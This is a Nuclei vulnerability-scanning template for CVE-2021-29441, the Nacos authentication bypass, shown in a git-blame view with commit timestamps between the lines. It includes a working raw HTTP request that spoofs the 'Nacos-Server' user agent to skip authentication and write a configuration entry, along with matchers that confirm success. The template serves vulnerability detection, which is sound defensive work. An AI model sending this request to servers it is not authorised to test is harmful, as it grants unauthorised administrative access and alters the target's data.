2021-04-28 04:54:36 +00:00
|
|
|
id: CVE-2021-29441
|
|
|
|
|
|
|
|
info:
|
2022-05-18 20:58:07 +00:00
|
|
|
name: Nacos <1.4.1 - Authentication Bypass
|
2022-04-22 10:38:41 +00:00
|
|
|
author: dwisiswant0
|
|
|
|
severity: critical
|
2021-04-28 04:54:36 +00:00
|
|
|
description: |
|
2021-04-28 14:01:25 +00:00
|
|
|
This template only works on Nuclei engine prior to version 2.3.3 and version >= 2.3.5.
|
|
|
|
|
2021-04-28 04:54:36 +00:00
|
|
|
In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true)
|
|
|
|
Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that
|
|
|
|
enables Nacos servers to bypass this filter and therefore skip authentication checks.
|
|
|
|
This mechanism relies on the user-agent HTTP header so it can be easily spoofed.
|
|
|
|
This issue may allow any user to carry out any administrative tasks on the Nacos server.
|
2023-09-27 15:51:13 +00:00
|
|
|
impact: |
|
|
|
|
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive data and potential compromise of the Nacos server.
|
2023-09-06 12:09:01 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29441).
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
|
2022-05-17 09:18:12 +00:00
|
|
|
- https://github.com/alibaba/nacos/issues/4701
|
|
|
|
- https://github.com/advisories/GHSA-36hp-jr8h-556f
|
|
|
|
- https://github.com/alibaba/nacos/pull/4703
|
2024-01-29 17:11:14 +00:00
|
|
|
- https://github.com/bakery312/Vulhub-Reproduce
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 9.8
|
2021-09-10 11:26:40 +00:00
|
|
|
cve-id: CVE-2021-29441
|
|
|
|
cwe-id: CWE-290
|
2024-01-14 13:49:27 +00:00
|
|
|
epss-score: 0.96709
|
2024-01-29 17:11:14 +00:00
|
|
|
epss-percentile: 0.99582
|
2023-09-06 12:09:01 +00:00
|
|
|
cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 2
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: alibaba
|
|
|
|
product: nacos
|
2024-01-14 09:21:50 +00:00
|
|
|
tags: cve2021,cve,nacos,auth-bypass,alibaba
|
2021-04-28 04:54:36 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-05-05 12:53:07 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept: */*
|
|
|
|
- |
|
|
|
|
POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept: */*
|
|
|
|
User-Agent: Nacos-Server
|
|
|
|
|
2021-04-28 04:54:36 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2021-05-05 12:53:07 +00:00
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- "status_code_1 == 403"
|
|
|
|
- "status_code_2 == 200"
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- "contains(body_1, 'Forbidden')"
|
2021-05-06 09:24:08 +00:00
|
|
|
- "body_2 == 'true'"
|
2021-05-05 12:53:07 +00:00
|
|
|
condition: and
|
|
|
|
|
2021-04-28 04:54:36 +00:00
|
|
|
- type: word
|
2023-07-11 19:49:27 +00:00
|
|
|
part: header
|
2021-04-28 04:54:36 +00:00
|
|
|
words:
|
|
|
|
- "application/json"
|
2024-01-30 06:46:18 +00:00
|
|
|
# digest: 4b0a00483046022100f72c865ef5da1d53c980d646b576838780d9be5bd9be7f671c4f15a2f49367be022100b86f1d0d6496347f5f95982a3d8c9efc913967a708298f443c0587576a920679:922c64590222798bb761d5b6d8e72950
|